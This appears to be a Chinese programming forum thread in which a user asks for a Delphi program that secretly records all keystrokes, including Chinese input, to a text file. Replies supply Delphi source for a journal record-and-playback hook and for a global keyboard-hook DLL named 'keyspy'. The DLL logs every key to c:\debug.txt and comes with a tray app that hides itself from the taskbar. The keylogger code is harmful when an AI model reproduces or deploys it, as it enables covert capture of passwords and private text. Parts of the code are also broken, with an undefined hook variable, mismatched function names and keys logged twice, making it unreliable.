要求:
1.只要能记录键盘录入即可(鼠标不必),但要既能记录英文字母,也能记录录入的汉字。
2.能把记录下来的内容保存到一个txt文件里。
3.不用第三方控件。(要是真能用,请附送该控件)试用成功,立即给分!
1.只要能记录键盘录入即可(鼠标不必),但要既能记录英文字母,也能记录录入的汉字。
2.能把记录下来的内容保存到一个txt文件里。
3.不用第三方控件。(要是真能用,请附送该控件)试用成功,立即给分!
调试欢乐多
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
EventArr: array[0..1000] of EVENTMSG; //用于保存消息的数组
EventLog: Integer;
PlayLog: Integer;
hHook, hPlay: Integer;
recOK: Integer;
canPlay: Integer;
bDelay: Bool;implementation{$R *.DFM}// PlayProc是消息回放函数,当系统可以执行消息回放
//时调用该函数,程序就将先前记录的消息值返回到lParam指向的区域中,
//系统就会执行该消息,从而实现了消息回放。function PlayProc(iCode: Integer; wParam: wParam; lParam: lParam): LRESULT; stdcall;
begin
canPlay := 1;
Result := 0; if iCode < 0 then //必须将消息传递到消息链的下一个接收单元
Result := CallNextHookEx(hPlay, iCode, wParam, lParam)
else if iCode = HC_SYSMODALON then
canPlay := 0
else if iCode = HC_SYSMODALOFF then
canPlay := 1
else if ((canPlay = 1) and (iCode = HC_GETNEXT)) then begin
if bDelay then begin
bDelay := False;
Result := 50;
end;
pEventMSG(lParam)^ := EventArr[PlayLog];
end
else if ((canPlay = 1) and (iCode = HC_SKIP)) then begin
bDelay := True;
PlayLog := PlayLog + 1;
end;
if PlayLog >= EventLog then begin
UNHookWindowsHookEx(hPlay);
end;
end;
//HookProc是记录操作的消息函数,每当有鼠标键盘消息发生时,系统都会调用该函数,消息信
//息就保存在地址lParam中,我们可以把消息保存在一个数组中。function HookProc(iCode: Integer; wParam: wParam; lParam: lParam): LRESULT; stdcall;
begin
recOK := 1;
Result := 0;
if iCode < 0 then
Result := CallNextHookEx(hHook, iCode, wParam, lParam)
else if iCode = HC_SYSMODALON then
recOK := 0
else if iCode = HC_SYSMODALOFF then
recOK := 1
else if ((recOK > 0) and (iCode = HC_ACTION)) then begin
EventArr[EventLog] := pEventMSG(lParam)^;
EventLog := EventLog + 1;
if EventLog >= 1000 then begin
UnHookWindowsHookEx(hHook);
end;
end;
end;//点击记录按钮开始录像操作procedure TForm1.Button1Click(Sender: TObject);
begin
EventLog := 0;
//建立键盘鼠标操作消息纪录链
hHook := SetwindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
Button2.Enabled := True;
Button1.Enabled := False;
end;procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook := 0;
Button1.Enabled := True;
Button2.Enabled := False;
Button3.Enabled := True;
end;procedure TForm1.Button3Click(Sender: TObject);
begin
PlayLog := 0;
//建立键盘鼠标操作消息纪录回放链
hPlay := SetwindowsHookEx(WH_JOURNALPLAYBACK, PlayProc,
HInstance, 0);
Button3.Enabled := False;
end;procedure TForm1.Button4Click(Sender: TObject);
begin
ShowMessage('it''s recording');
end;
end.
前面有很多例子,楼主可以find一下,用的hook是wh_keyboard
---- 在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的 监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook( 即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个 目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两 部分进行详细论述。 一、Hook(钩子)的实现: ---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且 处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中 实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在 运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现H ook的方式。 ---- 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程 。代码如下: library keyspy; uses windows, messages, hookproc in 'hookproc.pas'; exports setkeyhook, endkeyhook; begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit; end. 2.在Hookproc.pas中实现了钩子具体过程: unit hookproc; interface uses Windows, Messages, SysUtils, Controls, StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; function setkeyhook:bool;export;//加载钩子 function endkeyhook:bool;export;// 对 钩子 procedure keyhookexit;far; const afilename='c:\debug.txt';//将键盘输入动作写入文件中 var debugfile:textfile; implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; begin if icode<0 then begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,''); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end; function endkeyhook:bool;export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=hnexthookproc=0; end; procedure keyhookexit;far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end. ---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操 作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData 结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图 标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击 图标,则弹出一个菜单,可选择sethook或endhook。 unit kb; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Menus,shellapi; const icon_id=1; MI_iconevent=wm_user+1;//定义一个用户消息 type TForm1 = class(TForm) PopupMenu1: TPopupMenu; sethook1: TMenuItem; endhook1: TMenuItem; N1: TMenuItem; About1: TMenuItem; Close1: TMenuItem; Gettext1: TMenuItem; procedure FormCreate(Sender: TObject); procedure sethook1Click(Sender: TObject); procedure endhook1Click(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Close1Click(Sender: TObject); private { Private declarations } nid:tnotifyicondata; normalicon:ticon; public { Public declarations } procedure icontray(var msg:tmessage); message mi_iconevent; end; var Form1: TForm1; implementation {$R *.DFM} function setkeyhook:bool;external 'keyspy.dll'; function endkeyhook:bool;external 'keyspy.dll'; procedure tform1.icontray(var msg:tmessage); var pt:tpoint; begin if msg.lparam=wm_lbuttondown then sethook1click(self); if msg.LParam=wm_rbuttondown then begin getcursorpos(pt); setforegroundwindow(handle); popupmenu1.popup(pt.x,pt.y); end; end; procedure TForm1.FormCreate(Sender: TObject); begin normalicon:=ticon.create; application.title:=caption; nid.cbsize:=sizeof(nid); nid.wnd:=handle; nid.uid:=icon_id; nid.uflags:=nif_icon or nif_message or nif_tip; nid.ucallbackmessage:=mi_iconevent; nid.hIcon :=normalicon.handle; strcopy(nid.sztip,pchar(caption)); nid.uFlags:=nif_message or nif_icon or nif_tip; shell_notifyicon(nim_add,@nid); SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW); end; procedure TForm1.sethook1Click(Sender: TObject); begin setkeyhook; end; procedure TForm1.endhook1Click(Sender: TObject); begin endkeyhook; end; procedure TForm1.FormDestroy(Sender: TObject); begin nid.uFlags :=0; shell_notifyicon(nim_delete,@nid); end; procedure TForm1.Close1Click(Sender: TObject); begin application.terminate; end;
上面是一篇比较简单的,也是比较经典的,不过这里有个问题,就是按键记录会重复两次,因为要触发wm_keydown,wm_keyup两个消息
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);// 这一句就通不过,是hnexthookproci没有定义?
它确实能保存输入的汉字?麻烦你继续指点!